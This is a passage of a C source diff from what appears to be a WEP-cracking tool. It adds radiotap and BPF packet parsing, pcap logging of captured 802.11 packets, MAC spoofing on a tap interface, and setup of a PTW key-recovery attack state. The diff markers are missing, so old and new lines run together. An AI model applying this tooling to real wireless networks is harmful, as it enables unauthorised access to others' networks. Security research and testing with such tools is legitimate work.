assert(*totlen);
/* bpf hdr */
bpfh = (struct bpf_hdr*) (*data);
assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
*totlen -= bpfh->bh_hdrlen;
/* check if more packets */
if ((int)bpfh->bh_caplen < *totlen) {
int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
int offset = BPF_WORDALIGN(tot);
*data = (char*)bpfh + offset;
*totlen -= offset - tot; /* take into account align bytes */
} else if ((int)bpfh->bh_caplen > *totlen)
abort();
*plen = bpfh->bh_caplen;
*totlen -= bpfh->bh_caplen;
assert(*totlen >= 0);
/* radiotap */
rth = (struct ieee80211_radiotap_header*)
((char*)bpfh + bpfh->bh_hdrlen);
/* XXX cache; drivers won't change this per-packet */
/* check if FCS/CRC is included in packet */
present = le32toh(rth->it_present);
if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
if (present & BIT(IEEE80211_RADIOTAP_TSFT))
rflags = ((const uint8_t *)rth)[8];
else
rflags = ((const uint8_t *)rth)[0];
} else
rflags = 0;
*plen -= rth->it_len;
assert(*plen > 0);
/* 802.11 CRC */
if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
*plen -= IEEE80211_CRC_LEN;
nocrc = 1;
}
ptr = (char*)rth + rth->it_len;
return ptr;
#undef BIT
}
static int read_packet(int fd, unsigned char *dst, int len)
{
static unsigned char buf[4096];
static int totlen = 0;
static unsigned char *next = buf;
unsigned char *pkt;
int plen;
assert(len > 0);
/* need to read more */
if (totlen == 0) {
totlen = read(fd, buf, sizeof(buf));
if (totlen == -1) {
totlen = 0;
return -1;
}
next = buf;
}
/* read 802.11 packet */
pkt = get_80211(&next, &totlen, &plen);
if (plen > len)
plen = len;
assert(plen > 0);
memcpy(dst, pkt, plen);
return plen;
}
void own(int wifd) {
unsigned char buf[4096];
int rd;
@ -2275,8 +2428,23 @@ void own(int wifd) {
weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
if (weplog.fd == -1) {
struct pcap_file_header pfh;
memset(&pfh, 0, sizeof(pfh));
pfh.magic = TCPDUMP_MAGIC;
pfh.version_major = PCAP_VERSION_MAJOR;
pfh.version_minor = PCAP_VERSION_MINOR;
pfh.thiszone = 0;
pfh.sigfigs = 0;
pfh.snaplen = 65535;
pfh.linktype = LINKTYPE_IEEE802_11;
weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
if (weplog.fd != -1) {
if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
err(1, "write()");
}
}
else {
time_print("WARNING: Appending in %s\n", WEP_FILE);
@ -2314,7 +2482,8 @@ void own(int wifd) {
close(fd);
open_tap();
set_tap_mac(mymac);
set_if_mac(mymac, tapdev);
time_print("Set tap MAC to: %s\n", mac2str(mymac));
if (tapfd > wifd)
largest = tapfd;
@ -2444,7 +2613,7 @@ void own(int wifd) {
if (rd != 0) {
// wifi
if (FD_ISSET(wifd, &rfd)) {
rd = read(wifd, buf, sizeof(buf));
rd = read_packet(wifd, buf, sizeof(buf));
if (rd == 0)
return;
if (rd == -1) {
@ -2525,6 +2694,10 @@ void start(char *dev) {
fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
ptw = PTW_newattackstate();
if (!ptw)
err(1, "PTW_newattackstate()");
own(fd);
#if 0
@ -2621,6 +2794,7 @@ int main(int argc, char *argv[]) {
case 'n':
netip = optarg;
netip_arg = 1;
break;
case 'r':